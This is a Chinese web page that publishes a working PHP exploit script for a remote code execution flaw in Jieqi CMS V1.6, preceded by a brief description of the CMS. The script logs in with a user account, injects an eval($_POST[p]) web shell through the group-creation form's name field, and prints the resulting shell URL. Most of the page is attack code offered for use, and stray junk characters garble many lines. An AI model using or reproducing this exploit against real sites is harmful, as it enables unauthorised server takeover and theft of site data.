Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

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杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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; o9 B! m1 o2 d3 r. k该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
- E' _, e' H& \9 ]; }8 ~( H) y2 V0 i- [ 需要有一个能创建圈子的用户。
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: F+ \0 Y' n- _. b! `- I4 K" q5 p<?php

/ r8 g% u' J, w4 G" vprint_r('
/ x2 E- S% K; l" D  W. b9 X# F: m! n) R+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
) V9 R7 m* y9 G8 t* a& x( v+ hby flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
& U& K! G: g0 _+ q' n) W3 H, I * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
) T" I8 g- d, DUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
8 s0 J# h  G/ N: Z) xuasename:  a username who can create group
! Z$ {. E, R- q# t7 H0 Q( AExample:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
* K( ~6 j0 T" Q8 \'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
$ Y" H: K# Z- t5 a0 ~Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
; _9 {4 K+ T: l2 m% o5 BContent-Disposition: form-data; name="gcatid"

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-----------------------------23281168279961
5 {! k) J8 B! o8 s2 E: TContent-Disposition: form-data; name="gaudit"

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-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
0 q# I' b& e- y$ g$ \: j  d6 n# q-----------------------------23281168279961--
0 c8 W7 j# S: b. u5 k7 }# @'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;